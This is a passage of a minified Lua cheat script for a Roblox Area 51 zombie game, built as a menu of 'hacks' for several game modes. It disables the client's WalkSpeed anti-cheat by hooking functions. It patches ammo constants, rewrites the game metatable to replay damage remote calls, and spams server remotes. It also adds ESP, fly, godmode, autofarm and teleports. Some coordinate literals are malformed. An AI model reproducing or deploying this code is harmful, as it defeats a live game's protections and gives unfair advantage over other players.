k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else warn("")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)local y=x:NewTab("Teleports:")local z=y:NewSection("Start/End Teleports")z:NewButton("Teleport to Start","Teleports you to the start.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.StartTrigger.CFrame end)z:NewButton("Teleport to End","Teleports you to the end.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.EndTrigger.CFrame end)local y=x:NewTab("ESP:")local z=y:NewSection("Target/Player")z:NewToggle("Targets Esp","Puts ESP on targets around the map..",function(R)if R then for an,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Target"then local a5=Instance.new("BoxHandleAdornment",v)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=v.Size;a5.Adornee=v;a5.Transparency=0.4;a5.Color=BrickColor.new("Really red")local a=Instance.new("BillboardGui",v)a.Size=UDim2.new(1,0,1,0)a.Name=math.random(100,200)a.AlwaysOnTop=true;local a5=Instance.new("Frame",a)a5.Size=UDim2.new(1,0,1,0)a5.BackgroundTransparency=1;a5.BorderSizePixel=0;local ao=Instance.new("TextLabel",a5)ao.Text=v.Parent.Name;ao.Size=UDim2.new(1,0,1,0)ao.BackgroundTransparency=0;ao.BorderSizePixel=0;ao.TextColor=BrickColor.new("Gun metallic")end end else for K,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("BoxHandleAdornment")or v:IsA("BillboardGui")then v:Destroy()end end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==2092167559 then local o="BloodTheme"local x=n.CreateLib("Killer Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''local z=y:NewSection("Current Team:")z:NewToggle("Kill all Killers:","Enable/Disable to enable Autofarm",function(R)if R then local k=game:GetService('Players').LocalPlayer;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Humanoid.Health==0;wait()end end else print("Toggle Off")end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace").Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Area51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==5740483929 then local o="BloodTheme"local x=n.CreateLib("Hard Classic Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local 